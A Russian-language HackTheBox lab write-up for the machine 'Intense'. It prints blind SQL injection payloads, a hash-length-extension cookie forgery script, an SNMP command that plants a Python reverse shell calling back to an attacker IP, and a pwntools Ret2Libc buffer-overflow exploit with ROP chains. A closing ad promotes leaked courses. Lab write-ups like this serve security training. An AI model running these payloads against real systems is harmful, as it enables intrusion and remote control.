![](https://habrastorage.org/webt/-t/2p/d_/-t2pd_zcieqroaenkd60addoadc.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье получаем секрет Flask с помощью SQL инъекции, проводим криптоатаку удлинения сообщения, получаем RCE с помощью SNMP, и эксплуатируем уязвимость переполнения буфера в приложении с помощью Ret2Libc атаки.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.195, который я добавляю в /etc/hosts.
10.10.10.195 intence.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/webt/rj/t_/vq/rjt_vqlukg8_zqzeyl9pafwvz-c.png)
nmap -sU intence.htb
![](https://habrastorage.org/webt/sr/gm/q-/srgmq-habcdhznpwkd8af7js094.png)
Имеем только SNMP, веб-сервер и службу SSH, поэтому смотрим сайт. Нам говорят, что мы можем авторизоваться как гость, а также предоставляют исходные коды.
![](https://habrastorage.org/webt/ur/ct/dq/urctdqlvvwor2tngmyytgdpa9o8.png)
Давайте авторизуемся, чтобы иметь представление о структуре сайта.
![](https://habrastorage.org/webt/ik/c4/a8/ikc4a8rjzoihpihbl49skqcjdbo.png)
Так, мы можем что-то отправлять, давайте перейдем к странице Submit.
![](https://habrastorage.org/webt/td/ug/-_/tdug-_5dfigb4m1eo-j3_ueuzse.png)
Тестировать ничего не будем, так как у нас имеются исходные коды. Скачиваем и поочередно просматриваем. Из файла admin.py видим возможности администратора — просматривать директории и читать файлы. Также понимаем, что используется flask.
![](https://habrastorage.org/webt/pe/nc/yz/pencyzqtb21htag3ud6os2utkjo.png)
Из файла app.py следует, что при запросе Submit используется база данных, а пользовательские данные не фильтруются.
![](https://habrastorage.org/webt/zy/cf/gv/zycfgvamux6pzjov8gp2asgxyua.png)
Еще отмечаем способ создания cookie.
![](https://habrastorage.org/webt/jg/tf/pi/jgtfpic9hdilril12mdtgzsmzj0.png)
Перейдем к файлу lwt.py, в котором и происходит работа с сессиями. Отмечаем длину секрета и структуру cookie.
![](https://habrastorage.org/webt/g6/gd/lt/g6gdltah53xkgvksj7s9zvj5fi0.png)
![](https://habrastorage.org/webt/kz/jn/p9/kzjnp9s4cbx88mb5qmm8yvxtvl4.png)
И в последнем файле видим сам запрос в базу данных и принцип проверки привилегий пользователя.
![](https://habrastorage.org/webt/bk/cx/ju/bkcxju4jtd4rcaiwnjjikqljrbg.png)
Все ясно, давайте посмотрим cookie.
![](https://habrastorage.org/webt/6z/p8/4k/6zp84kp6kvp7fzkoytn5yn6pipk.png)
Мы можем легко декодировать данную строку с помощью flask-session-cookie-manager.
![](https://habrastorage.org/webt/14/9z/ea/149zeailqny6t-vgpczjgx8v6l8.png)
Но нам нужен секрет админа.
SQL инъекция
Попробуем получить его с помощью SQL инъекции в Submit. Таким образом, мы имеем следующий INSERT запрос:
INSERT INTO messages VALUES ('%s')
Поэтому наш запрос должен быть выполнен в следующей конструкции:
' AND ( SELECT ... ) ) -- -
Тогда полный запрос в базу данных будет таким:
INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')
Если без комментариев, то такой:
INSERT INTO messages VALUES ('' AND ( SELECT ... ) )
В самом запросе будет использовать конструкцию:
SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END
Тогда если запрос может быть выполнен, то мы получим ответ 'OK', а иначе ошибку 'unable to use function MATCH in the requested context'.
Мы можем посимвольно узнать секрет, хранящийся в таблице users. Тем более, что мы уже знаем секрет гостевого пользователя (role = 0). Учитываем, что используется SQLite база данных, давайте узнаем длину секрета( так как мы ее знаем, определим реакцию на верный и неверный запрос) с помощью следующей вставки в запрос (вместо XXX наше число):
' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -
![](https://habrastorage.org/webt/mo/xj/xa/moxjxabfb-tpkol0eqltldsnhko.png)
Теперь давайте проверим посимвольное извлечение секрета. Здесь поможет следующая конструкция(NUM — это порядковый номер символа, а XXX — сам символ).
' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -
![](https://habrastorage.org/webt/vg/3w/xe/vg3wxewpi8jgh5iuxq2qcii03ru.png)
Таким образом, все предположения подтвердились. То есть мы можем узнать секрет пользователя с role=1. Его длина (так как это хеш) равна 64.
![](https://habrastorage.org/webt/gs/ax/ax/gsaxaxqkqbgiaz8gpsuebznu8ak.png)
Перейдем в Intruder и выставим следующие настройки.
![](https://habrastorage.org/webt/af/gx/kz/afgxkzqsyidro5fygxn1vrignes.png)
![](https://habrastorage.org/webt/xl/7d/in/xl7dinnpam7bue-t5chlaozbvve.png)
![](https://habrastorage.org/webt/fj/y3/go/fjy3gogzbu_qpxdrcz5nyvvfqju.png)
И запустим атаку. Через несколько секунд получим результат о выполнении. Установим фильтр, который исключит все ответы, где присутствует “MATCH”. И увидим 64 строки. Сортируем их по payload1 (позиция символа).
![](https://habrastorage.org/webt/xw/k6/vw/xwk6vwq6fnphvkoojtkj7nyv8xw.png)
Выделим все строки и сохраним в файл только payload2.
![](https://habrastorage.org/webt/53/u1/ci/53u1ciufdyetze1esbf7qoyzvlq.png)
И смотрим наш секрет.
![](https://habrastorage.org/webt/d5/vg/ic/d5vgicg4l5y0o3m2ce9hrewg8jk.png)
HLE атака
Мы не можем просто взять и подставить данный секрет в cookie. Но можем выполнить атаку HLE.
Выполнить атаку можно с помощью следующего кода, использующего библиотеку hashpumpy.
import hashpumpy
import binascii
import requests
from base64 import *
url = "http://intence.htb/admin"
new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s="
data_cookie = b64decode(old_cookie.split('.')[0])
sign_cookie = b64decode(old_cookie.split('.')[1])
for offset in range(1,64):
print("Find offset: " + str(offset), end='\r')
(new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset)
new_cookie = b64encode(new_data) + b"." + b64encode(binascii.unhexlify(new_sign))
r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')})
if r.status_code == 200:
print("Offset found: " + str(offset))
print("Admin cookie: " + new_cookie.decode('utf-8'))
break
![](https://habrastorage.org/webt/62/qg/am/62qgamayktzcimit4ccd7yqlnv0.png)
И получаем куки админа, вставим их на сайте.
![](https://habrastorage.org/webt/a0/xb/3m/a0xb3mihpkcgj0px_-s0eocby1u.png)
Отлично, у нас повышенные привилегии.
USER
Давайте проверим, можем ли мы читать файлы и просматривать директории.
![](https://habrastorage.org/webt/jy/wb/yz/jywbyzdovzcpzrnwgbh1y33lfk0.png)
![](https://habrastorage.org/webt/y0/qz/0f/y0qz0ftxjbexs0ag5fnl3smw6c0.png)
Отлично. Из файла /etc/passwd отметим для себя пользователя user и SNMP.
![](https://habrastorage.org/webt/fw/sb/tj/fwsbtjuzddjembhk6w6sjddrcrs.png)
И забираем первый флаг.
![](https://habrastorage.org/webt/go/9x/3u/go9x3ubcs2cnce1zj4pt1lxgmzq.png)
SNMP to Reverse shell
Давайте посмотрим файл конфигураций SNMP. Из него мы получаем пароль, который позволит нам создавать записи (rwcommunity).
![](https://habrastorage.org/webt/pa/p3/ah/pap3ahw3lk3h4rytzy3hhjtsxvm.png)
Давайте создадим запись, содержащую реверс шелл на питоне. Для этого нам нужно заполнить следующие поля:
nsExtendStatus."command"
nsExtendCommand."R4command"
nsExtendArgs."R4command"
Установим snmp-mibs-downloader.
apt install snmp-mibs-downloader
И теперь создадим запись.
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
![](https://habrastorage.org/webt/wt/hs/au/wthsau-jsqb5up-szeaqi8ticbu.png)
Для выполнения нам нужно знать OID объекта. Есть очень хороший сайт, который может в этом помочь.
![](https://habrastorage.org/webt/i0/oo/ig/i0ooigyqgidvyl6pzuu0tgtofba.png)
Так OID объекта — 1.3.6.1.4.1.8072.1.3.2. Выполняем команду и получаем бэкконнект.
snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2
![](https://habrastorage.org/webt/ya/az/qf/yaazqf8pwvpnejvlu0tox-y9xcc.png)
![](https://habrastorage.org/webt/ix/rz/kq/ixrzkqj27ckc3dvnn3y7kkjqcbg.png)
ROOT
Получим нормальный bash и посмотрим домашнюю директорию пользователя.
![](https://habrastorage.org/webt/zf/hf/ur/zfhfurswpmiczcfsivtv96tqc30.png)
Находим исполняемый файл и исходный код. С помощью netcat копируем файлы на локальную машину для анализа.
![](https://habrastorage.org/webt/mb/6y/gp/mb6ygpnru3tgmyf_tngunhca1a4.png)
Из исходного кода программы узнаем, что она прослушивает 5001 порт.
![](https://habrastorage.org/webt/xh/sa/ds/xhsadsavtqfow6bxxtwkypljl4y.png)
Давайте проверим.
![](https://habrastorage.org/webt/i9/m1/vn/i9m1vnjmxu6187apfheytkmdo18.png)
![](https://habrastorage.org/webt/g0/an/zo/g0anzomfomoobjkb4exh-dk5s5o.png)
Таким образом мы нашли вектор LPE. Данная программа прослушивает локальный порт 5001 и работает от имени root. Пользователь SNMP не имеет интерактивной оболочки (было отмечено в /etc/passwd) но мы можем туннелировать порт при помощи SSH. Давайте сгенерируем ключ и запишем в authorized_keys на удаленной машине.
![](https://habrastorage.org/webt/zs/1h/bz/zs1hbz6hsrnd7ln-8kc2u35mi1m.png)
![](https://habrastorage.org/webt/_h/za/jf/_hzajf88lcrmigzhwpyt6pfpgig.png)
А теперь пробрасываем порт.
ssh -i id_rsa -N -L 5001:127.0.0.1:5001 Debian-snmp@intence.htb
![](https://habrastorage.org/webt/3l/n-/pu/3ln-pu1xdpjl_4n2njgt_rscj_o.png)
Отлично. Приступаем к анализу программы.
Атака Ret2Libc
Узнаем, какую библиотеку использует программа с помощью GDB, а потом скопируем ее способом, которым мы пользовались ранее.
![](https://habrastorage.org/webt/ue/-x/6t/ue-x6t_vevytzbvrdtutihqjnj8.png)
И не забываем проверим используемую защиту.
![](https://habrastorage.org/webt/_1/pj/va/_1pjvajcapytbjx97j1ezsnnvec.png)
Таким образом образом у нас есть и рандомная адресация, канарейка и неисполняемый стек. Для начала напишем шаблон эксплоита.
#!/usr/bin/python3
from pwn import *
HOST = '127.0.0.1'
PORT = 5001
context(os='linux', arch='amd64')
binary = ELF('./note', checksec=False)
libc = ELF('./libc-2.27.so', checksec=False)
r = remote(HOST, PORT)
r.interactive()
![](https://habrastorage.org/webt/bd/9y/nz/bd9ynz5zvsfuqgbzuof6qsxffjo.png)
Разберемся с функционалом приложения. Из исходного кода становится ясно, что мы можем создавать, копировать и читать заметки.
Давайте реализуем данные функции. При записи, мы должны прислать 1 байт = 0x01, и после чего 1 байт — размер сообщения и само сообщение.
![](https://habrastorage.org/webt/n8/o6/5j/n8o65jqxxzezd5pa1ie7cvahqxu.png)
def W(s):
r.send(p8(1))
r.send(p8(len(s)))
r.send(s)
Копирование требует 0x02, два байта — смещение и один байт размер.
![](https://habrastorage.org/webt/dk/za/w1/dkzaw1mrp7lelwcu7-u-x2lw6eg.png)
def CPY(offset, size):
r.send(p8(2))
r.send(p16(offset))
r.send(p8(size))
И для чтения только байт 0x03.
![](https://habrastorage.org/webt/ou/fh/7j/oufh7jfvwffr7cbxgnh2dt0d-6s.png)
def R(size):
r.send(p8(3))
return r.recv(size)
А размер буфера равен 1024.
![](https://habrastorage.org/webt/dk/nw/ex/dknwexhioqnbezfvgbb_0pknd14.png)
Мы можем переполнить буфер, но нам нужно знать значение канарейки и регистров RBP и RIP. Их мы можем узнать благодаря функции CPY, узнав данные по смещению 1024. Но их сперва нужно занять. Так как мы можем записать только 255 байтов за один раз, то нам нужно 4 раза записать по 255 символов и пятый раз дополнить 4 байта. А потом уже прочитать 1056 байт и отделить 32 байт после нашего буфера.
[ W("A"*255) for _ in range(4) ]
W("A"*4)
CPY(1024, 32)
post_buf = R(1056)[1024:]
_CANARY = u64(post_buf[8:16])
_RBP = u64(post_buf[16:24])
_RIP = u64(post_buf[24:32])
print("CANARY: " + hex(_CANARY))
print("RBP: " + hex(_RBP))
print("RIP: " + hex(_RIP))
![](https://habrastorage.org/webt/tz/da/n6/tzdan6mgjddpe1dnucddofvauak.png)
Зная RIP и зная относительный адрес выхода из функции, мы можем вычислить адрес, по которому загружена программа.
![](https://habrastorage.org/webt/7w/ng/u9/7wngu9tsv1xcbhjfu_wutmcxbe0.png)
binary.address = _RIP - 0xf54
И воспользуемся классом ROP, чтобы получить адрес функции write (про ROP уже досконально разбирали).
rop_binary = ROP(binary)
rop_binary.write(4, binary.got['write'])
r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain() # 72
W(payload)
[ W("A"*255) for _ in range(3) ]
W("A"*187)
CPY(0, len(payload))
R(1024 + len(payload))
libc_write = u64(r.recv(8))
print("Leak: " + hex(libc_write))
![](https://habrastorage.org/webt/0g/8r/ae/0g8rae6y6fpbsceef5su4dyvd4a.png)
И вычислим адрес, по которому загружена LIBC.
libc.address = libc_write -libc.symbols['write']
print("LIBC address: "+ hex(libc.address))
![](https://habrastorage.org/webt/p6/-q/zx/p6-qzx_xuu4acnfkeyskfzswiac.png)
Похоже на правду. А теперь получим шелл, используя тот же класс ROP. Как это обычно бывает, перенаправим потоки ввода/вывода, вызываем /bin/sh и перезаписываем функцию write.
libc_rop = ROP(libc)
libc_rop.dup2(4, 0)
libc_rop.dup2(4, 1)
libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)
r = remote(HOST, PORT)
payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain() # 152
W(payload)
[ W("A"*255) for _ in range(3) ]
W("A"*107)
CPY(0, len(payload))
R(1024 + len(payload))
Полный код, как всегда, привожу картинкой.
![](https://habrastorage.org/webt/1g/qw/l1/1gqwl1ebl_uyrtscwzpog9ukvha.png)
![](https://habrastorage.org/webt/i_/px/_w/i_px_wg9y6n7ets2if8grvjjana.png)
И мы с полными правами.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.